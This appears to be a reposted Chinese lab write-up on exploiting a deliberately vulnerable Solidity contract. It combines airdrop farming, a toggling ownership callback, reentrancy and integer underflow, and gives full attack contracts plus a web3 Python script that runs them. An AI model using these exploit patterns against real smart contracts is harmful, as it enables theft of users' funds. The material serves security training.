某60区块链安全之薅羊毛攻击实战二学习记录

2023-12-02 06:44

本文主要是介绍某60区块链安全之薅羊毛攻击实战二学习记录,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

区块链安全

`

文章目录

  • 区块链安全
  • 薅羊毛攻击实战二
    • 实验目的
    • 实验环境
    • 实验工具
    • 实验原理
    • 实验内容
    • 薅羊毛攻击实战二 实验步骤
    • EXP利用

薅羊毛攻击实战二

实验目的

学会使用python3的web3模块
学会分析以太坊智能合约复杂场景下薅羊毛攻击漏洞及其利用
找到合约漏洞进行分析并形成利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。
一般实际场景比较复杂,所以需综合利用各个漏洞与薅羊毛攻击。

实验内容

合约中内置了多种漏洞和潜在的薅羊毛攻击问题,找到合约漏洞并形成利用,把合约中的flag变量设置为true即可
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10010

薅羊毛攻击实战二 实验步骤

获取合约地址和合约源代码
nc ip 10010连接到题目,输入1,获取部署合约的game account及token
在这里插入图片描述

打开http://ip,输入上述分配的game account,点击Request获取eth
在这里插入图片描述
在这里插入图片描述

nc ip 10010连接到题目,输入2,获取部署合约的地址及new token
在这里插入图片描述

nc ip 10010连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞

pragma solidity ^0.4.23;interface Changing {function isOwner(address) view public returns (bool);
}contract ETH10 {address private owner;mapping(address => uint) public balanceOf;mapping(address => bool) public status;mapping(address => uint) public buyTimes;bool public flag;constructor() payable {owner = msg.sender;}modifier onlyOwner(){require(msg.sender == owner);_;}function payforflag() onlyOwner public {require(buyTimes[msg.sender] >= 100);flag = true;}function change(address _owner) public {Changing tmp = Changing(msg.sender);if(!tmp.isOwner(_owner)){status[msg.sender] = tmp.isOwner(_owner);}}function change_Owner() public {require(tx.origin != msg.sender);if(status[msg.sender] == true){status[msg.sender] = false;owner = msg.sender;}}function _transfer(address _from, address _to, uint _value) internal {require(_to != address(0x0));require(_value > 0);uint256 oldFromBalance = balanceOf[_from];uint256 oldToBalance = balanceOf[_to];uint256 newFromBalance =  balanceOf[_from] - _value;uint256 newToBalance =  balanceOf[_to] + _value;require(oldFromBalance >= _value);require(newToBalance > oldToBalance);balanceOf[_from] = newFromBalance;balanceOf[_to] = newToBalance;assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));}function transfer(address _to, uint256 _value) public returns (bool success) {_transfer(msg.sender, _to, _value); return true;}function buy() payable public returns (bool success){require(tx.origin != msg.sender);require(buyTimes[msg.sender]==0);require(balanceOf[msg.sender]==0);balanceOf[msg.sender] = 100;buyTimes[msg.sender] = 1;return true;}function sell(uint256 _amount) public returns (bool success){require(_amount >= 100);require(buyTimes[msg.sender] > 0);require(balanceOf[msg.sender] >= _amount);require(address(this).balance >= _amount);msg.sender.call.value(_amount)();_transfer(msg.sender, address(this), _amount);buyTimes[msg.sender] -= 1;return true;}function eth_balance() public view returns (uint256 ethBalance){return address(this).balance;}}

题目要求将合约中的flag变量设置为true
查看 payforflag ,我们需要成为 owner ,同时 buyTimes[msg.sender] >= 100
想要成为 owner ,可以通过 change_owner 函数实现:status[msg.sender] 要求为 true ,可以通过 change(address _owner) 解决,Changing 接口中声明了 isOwner 函数,用户可自行编写,要使 status[msg.sender] = true ,则 tmp.isOwner(_owner) 第一次调用需返回 false ,第二次调用返回 true ,所以就有了思路:设置一个初始值为 true 的变量,每次调用 isOwner()时,将其取反再返回。这样便满足了我们是 owner ,只需再满足 buyTimes[msg.sender] >= 100
发现只有 sell 函数,会有 buyTimes[msg.sender] -= 1 的操作,其实这是重入问题,这里需要满足 require(_amount >= 200) ,但是 buy 只能给 100 ,典型的薅羊毛问题,最后再利用整数下溢即可满足 buyTimes[msg.sender] >= 100

EXP利用

编写攻击合约attack1.sol和attack2.sol,将下述attack1和attack2合约中的ETH10地址替换成自己题目合约的地址,其中attack1合约主要包括四个功能:hack1函数用于成为owner和申领空投;hack2函数用于薅羊毛提高balanceOf[attack1];hack3函数用于利用2次重入触发整数溢出漏洞,使得buyTimes[msg.sender]=0-1变成一个很大的数,从而满足payforflag中buyTimes[msg.sender] >= 100的条件;hack4函数用于调用payforflag函数,设置flag为true

contract attack1 {ETH10 target = ETH10(0x6D95dE7EC9Ca2276AE8ed81454bc5519a37382Ac);bool public flag = true;uint public have_sell = 0;function isOwner(address) public returns (bool){flag = !flag;return flag;}function hack1() public {target.change(address(this));target.change_Owner();target.buy();}function hack2() public {new attack2(address(this));}function hack3() public {target.sell(100);}function hack4() public {target.payforflag();}function() payable public {if (have_sell < 1) {have_sell += 1;target.sell(100);}}
}contract attack2 {ETH10 target = ETH10(0x6D95dE7EC9Ca2276AE8ed81454bc5519a37382Ac);constructor(address addr) public {target.buy();target.transfer(addr,100);}
}

编写python3自动化脚本,将上述攻击合约部署,然后按照上述步骤分别执行即可

from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0x94829A097f920307e33452a5c64AabE51f4fF976"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receiptset_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:attack1']# deploy attack1 in attack.sol
txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)time.sleep(5)# call hack1() in attack1
data = Web3.keccak(text='hack1()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):print("call hack1() success")time.sleep(5)# call hack2() in attack1
data = Web3.keccak(text='hack2()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):print("call hack2() success")time.sleep(5)# call hack3() in attack1
data = Web3.keccak(text='hack3()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):print("call hack3() success")time.sleep(5)# call hack4() in attack1
data = Web3.keccak(text='hack4()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):print("call hack4() success")

执行exp
在这里插入图片描述

nc ip 10010连接到题目,输入3,输入之前的new token,获取flag

在这里插入图片描述

这篇关于某60区块链安全之薅羊毛攻击实战二学习记录的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/444339

相关文章

Python中4大日志记录库比较的终极PK

《Python中4大日志记录库比较的终极PK》日志记录框架是一种工具,可帮助您标准化应用程序中的日志记录过程,:本文主要介绍Python中4大日志记录库比较的相关资料,文中通过代码介绍的非常详细,... 目录一、logging库1、优点2、缺点二、LogAid库三、Loguru库四、Structlogphp

Java 队列Queue从原理到实战指南

《Java队列Queue从原理到实战指南》本文介绍了Java中队列(Queue)的底层实现、常见方法及其区别,通过LinkedList和ArrayDeque的实现,以及循环队列的概念,展示了如何高效... 目录一、队列的认识队列的底层与集合框架常见的队列方法插入元素方法对比(add和offer)移除元素方法

Spring Boot基于 JWT 优化 Spring Security 无状态登录实战指南

《SpringBoot基于JWT优化SpringSecurity无状态登录实战指南》本文介绍如何使用JWT优化SpringSecurity实现无状态登录,提高接口安全性,并通过实际操作步骤... 目录Spring Boot 实战:基于 JWT 优化 Spring Security 无状态登录一、先搞懂:为什

C++11中的包装器实战案例

《C++11中的包装器实战案例》本文给大家介绍C++11中的包装器实战案例,本文结合实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录引言1.std::function1.1.什么是std::function1.2.核心用法1.2.1.包装普通函数1.2.

SQL 注入攻击(SQL Injection)原理、利用方式与防御策略深度解析

《SQL注入攻击(SQLInjection)原理、利用方式与防御策略深度解析》本文将从SQL注入的基本原理、攻击方式、常见利用手法,到企业级防御方案进行全面讲解,以帮助开发者和安全人员更系统地理解... 目录一、前言二、SQL 注入攻击的基本概念三、SQL 注入常见类型分析1. 基于错误回显的注入(Erro

Nginx概念、架构、配置与虚拟主机实战操作指南

《Nginx概念、架构、配置与虚拟主机实战操作指南》Nginx是一个高性能的HTTP服务器、反向代理服务器、负载均衡器和IMAP/POP3/SMTP代理服务器,它支持高并发连接,资源占用低,功能全面且... 目录Nginx 深度解析:概念、架构、配置与虚拟主机实战一、Nginx 的概念二、Nginx 的特点

Spring IOC核心原理详解与运用实战教程

《SpringIOC核心原理详解与运用实战教程》本文详细解析了SpringIOC容器的核心原理,包括BeanFactory体系、依赖注入机制、循环依赖解决和三级缓存机制,同时,介绍了SpringBo... 目录1. Spring IOC核心原理深度解析1.1 BeanFactory体系与内部结构1.1.1

Redis 命令详解与实战案例

《Redis命令详解与实战案例》本文详细介绍了Redis的基础知识、核心数据结构与命令、高级功能与命令、最佳实践与性能优化,以及实战应用场景,通过实战案例,展示了如何使用Redis构建高性能应用系统... 目录Redis 命令详解与实战案例一、Redis 基础介绍二、Redis 核心数据结构与命令1. 字符

在SpringBoot+MyBatis项目中实现MySQL读写分离的实战指南

《在SpringBoot+MyBatis项目中实现MySQL读写分离的实战指南》在SpringBoot和MyBatis项目中实现MySQL读写分离,主要有两种思路:一种是在应用层通过代码和配置手动控制... 目录如何选择实现方案核心实现:应用层手动分离实施中的关键问题与解决方案总结在Spring Boot和

Python AST 模块实战演示

《PythonAST模块实战演示》Python的ast模块提供了一种处理Python代码的强大工具,通过解析代码生成抽象语法树(AST),可以进行代码分析、修改和生成,接下来通过本文给大家介绍Py... 目录 什么是抽象语法树(AST)️ ast 模块的核心用法1. 解析代码生成 AST2. 查看 AST